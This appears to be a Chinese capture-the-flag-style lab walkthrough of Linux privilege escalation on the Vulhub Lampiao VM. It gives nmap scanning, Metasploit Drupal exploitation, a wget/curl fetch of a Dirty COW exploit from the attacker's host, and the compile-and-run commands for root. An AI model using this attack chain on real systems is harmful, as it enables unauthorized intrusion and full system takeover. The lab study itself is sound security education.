Linux系统提权
主题:脏牛漏洞提权
环境准备:靶场:Vulhub Lampiao(脏牛漏洞),Ubuntu-19.04-desktop-amd64.iso(用于sudo命令提权测试)
目标:目前只拥有Linux主机的普通用户权限,如何才能够获得系统root权限
脏牛漏洞的概念:它是一种存在于linux操作系统中的本地提权漏洞,共分为1.0和2.0的版本,当Linux系统内核版本高于4.8以上时,使用脏牛2.0版本;当Linux系统内核版本低于4.8时,则使用1.0版本。
那它的原理又是怎样的?
当一个进程正在尝试修改其映射的只读内存页面时,另一个进程也在同时访问此页面。在这样的情况下内核可能会出现一种"竞争条件",这种条件导致两个进程都能看到对方的修改,甚至可能覆盖对方的数据。这就为攻击者提供了机会,使其能够在没有权限限制的情况下,通过构造特殊的操作序列,使正在运行的程序以更高的权限执行命令,从而达到提权的效果。**
攻击步骤复现:
- 打开Vulhub Lampiao虚拟机,可以看到Linux标志性的黑窗口:

- 在不知晓登录账号密码的情况下,尝试信息收集查找突破口,回到Kali Linux中执行nmap命令对同网段进行ip和端口扫描:
nmap 192.168.78.0/24

根据自己的虚拟机网段查看主机ip: 192.168.78.1为物理机ip,192.168.78.130为kali linux虚拟机ip,可疑的只有192.168.78.142这台。接下来就可以针对这台主机进行全端口扫描:
nmap -p- 192.168.78.142

- 可以看到全端口扫描能够扫出普通扫描扫不出的端口,注意这边有一个1898端口是open状态。尝试打开浏览器访问192.168.78.142:1898

这边出现一个登录窗口,可以往CMS架构方向突破,那接下来该寻找哪些关键信息?滚动到页面最底处,看到Power By Drupal,可以断定该网站就是Drupal的架构。

- 利用msfconsole漏洞框架利用工具控制台,搜索Drupal的有关漏洞利用信息:

Name列包含auxiliary的代表是检测漏洞模块,exploit则是实际攻击模块,在此选择一个较新的攻击模块:
msf6 > use 1
show options

每次攻击前需要确认所有Required = Yes处的选项设置,这里需要设置目标靶机的ip和端口,刚才的信息收集中得到ip=192.168.78.142,port=1898。
set RHOSTS 192.168.78.142
set RPORT 1898
show options
设置完成后再次确认选项是否就绪:

run
运行后发现会话已经建立:

meterpreter > shell
Process 2364 created.
Channel 0 created.
这个时候其实已经通过msf连入了目标靶机服务器的shell了,我们可以通过python语句呼出交互式终端:
python -c 'import pty; pty.spawn("/bin/bash")'
- 查看Linux内核命令版本,选择对应的脏牛版本:

这里是4.4的版本,那我们使用脏牛1.0版本进行提权。
到这一步,我们的目标是把本地的Dirty.cpp文件上传到目标靶机上去。有一个问题,那就是不能直接从物理主机(windows)上传文件到目标靶机,它们之间没有任何联络,原因是我并不知道Ubuntu靶机的root账号密码,无法启动ssh随即通过XFTP共享文件。 但是物理主机和Kali Linux虚拟机是我可控的,因此我先把文件上传到Kali Linux的Apache网站根目录/var/www/html/,再通过msf已建立的shell会话使用wget下载到靶机本地,相当于靶机向Kali Linux请求下载文件。



wget http://192.168.78.130:80/Dirty.cpp
或者
curl http://192.168.78.130:80/Dirty.cpp -o Dirty.cpp
此时在靶机得/tmp目录下已经成功保存Dirty.cpp文件。
- 由于.cpp为(C/C++)语言文件,在Linux系统中需要通过编译才能运行:
g++ -wall -pedantic -O2 -std=C++11 -pthread -o dcow Dirty.cpp -lutil
编译完成后,在同目录会生成一个dcow文件,能够直接被Linux系统执行:

- 执行语句进行提权:
./dcow -s
成功执行,喜提root权限。

【扩展学习】脏牛2.0版本复现步骤 www.cnblogs.com/nanhe7/arti...
【复现步骤总结】
- 搭建靶场,信息收集ip和port;
- 尝试访问,进一步获得产品关键信息Drupal;
- 启动msfconsole,搜索关于Drupal漏洞利用信息;
- 设置参数,执行获得靶机shell;
- 查看内核版本,挑选脏牛版本,上传文件;
- 编译后执行,提权成功。
如果可以尽量避免使用脏牛漏洞,原因是它可能会使计算机崩溃或使其处于不稳定状态。